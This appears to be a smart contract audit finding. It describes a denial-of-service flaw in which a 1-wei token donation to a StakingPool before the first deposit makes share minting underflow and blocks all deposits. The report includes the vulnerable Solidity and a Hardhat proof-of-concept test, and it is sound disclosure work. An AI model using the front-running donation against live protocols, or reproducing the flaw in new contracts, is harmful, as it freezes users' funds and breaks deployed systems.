Summary
Griefer can DOS the whole StakingPool by donating tokens before the first actual deposit comes in. After that, it's not possible for any deposits transactions to complete.
Vulnerability Details
In the StakingPool contract there is a deposit function that increases the totalStaked variable:
function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
Increasing the totalStaked variable before any deposits/shares get minted, results in the getSharesByStake function to always return 0:
function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
if (totalStaked == 0) {
return _amount;
} else {
return (_amount * totalShares) / totalStaked;
}
}
As we can see, totalStaked == donation > 0 and totalShares == 0 since no shares have been minted yet. Any _amount * 0 will return 0. This function is used during the deposit process.
StakingPool.sol
function deposit(address _account, uint256 _amount, bytes[] calldata _data) external onlyPriorityPool {
require(strategies.length > 0, "Must be > 0 strategies to stake");
uint256 startingBalance = token.balanceOf(address(this));
if (_amount > 0) {
token.safeTransferFrom(msg.sender, address(this), _amount);
_depositLiquidity(_data);
@> _mint(_account, _amount);
totalStaked += _amount;
} else {
_depositLiquidity(_data);
}
uint256 endingBalance = token.balanceOf(address(this));
if (endingBalance > startingBalance && endingBalance > unusedDepositLimit) {
revert InvalidDeposit();
}
}
StakingRewardsPool.sol
function _mint(address _recipient, uint256 _amount) internal override {
@> uint256 sharesToMint = getSharesByStake(_amount);
_mintShares(_recipient, sharesToMint);
emit Transfer(address(0), _recipient, _amount);
}
function _mintShares(address _recipient, uint256 _amount) internal {
require(_recipient != address(0), "Mint to the zero address");
@> if (totalShares == 0) {
shares[address(0)] = DEAD_SHARES;
totalShares = DEAD_SHARES;
_amount -= DEAD_SHARES;
}
totalShares += _amount;
shares[_recipient] += _amount;
}
In the _mint function, the getSharesByStake will return 0, so _mintShares will get called with _amount == 0. Since, there hasn't been any deposits yet and totalShares == 0, it will go inside the if statement and try to _amount -= DEAD_SHARES where DEAD_SHARES = 10 ** 3 constant. This will always revert with an underflow error.
Impact
Permanent Denial of Service (DOS) of all deposits into the protocol. Renders the whole protocol useless since there can't be any deposits. Attacker can simply frontrun the first deposit transaction to donate just 1 wei and DOS the protocol.
Coded Proof of Concept
Create a new tests.test.ts file in the test/core/priorityPool folder and paste the following code:
import { assert, expect } from 'chai'
import {
toEther,
deploy,
fromEther,
deployUpgradeable,
getAccounts,
setupToken,
} from '../../utils/helpers'
import {
ERC677,
SDLPoolMock,
StakingPool,
PriorityPool,
StrategyMock,
WithdrawalPool,
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { StandardMerkleTree } from '@openzeppelin/merkle-tree'
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers'
describe('PriorityPool', () => {
async function deployFixture() {
const { accounts, signers } = await getAccounts()
const adrs: any = {}
const token = (await deploy('contracts/core/tokens/base/ERC677.sol:ERC677', [
'Chainlink',
'LINK',
1000000000,
])) as ERC677
adrs.token = await token.getAddress()
await setupToken(token, accounts, true)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'Staked LINK',
'stLINK',
[],
toEther(10000),
])) as StakingPool
adrs.stakingPool = await stakingPool.getAddress()
const strategy = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(1000),
toEther(100),
])) as StrategyMock
adrs.strategy = await strategy.getAddress()
const sdlPool = (await deploy('SDLPoolMock')) as SDLPoolMock
adrs.sdlPool = await sdlPool.getAddress()
const pp = (await deployUpgradeable('PriorityPool', [
adrs.token,
adrs.stakingPool,
adrs.sdlPool,
toEther(100),
toEther(1000),
])) as PriorityPool
adrs.pp = await pp.getAddress()
const withdrawalPool = (await deployUpgradeable('WithdrawalPool', [
adrs.token,
adrs.stakingPool,
adrs.pp,
toEther(10),
0,
])) as WithdrawalPool
adrs.withdrawalPool = await withdrawalPool.getAddress()
await stakingPool.addStrategy(adrs.strategy)
await stakingPool.setPriorityPool(adrs.pp)
await stakingPool.setRebaseController(accounts[0])
await pp.setDistributionOracle(accounts[0])
await pp.setWithdrawalPool(adrs.withdrawalPool)
for (let i = 0; i < signers.length; i++) {
await token.connect(signers[i]).approve(adrs.pp, ethers.MaxUint256)
}
return { signers, accounts, adrs, token, stakingPool, strategy, sdlPool, pp, withdrawalPool }
}
it('donating dos deposits', async () => {
const { signers, accounts, adrs, pp, token, strategy, stakingPool } = await loadFixture(
deployFixture
)
await token.connect(signers[1]).approve(adrs.stakingPool, 1)
await stakingPool.connect(signers[1]).donateTokens(1)
await expect(pp.connect(signers[1]).deposit(toEther(500), true, ['0x'])).to.be.revertedWithPanic(0x11)
})
})
Tools Used
Manual Review
Recommendations
Don't allow donations if the totalStaked == 0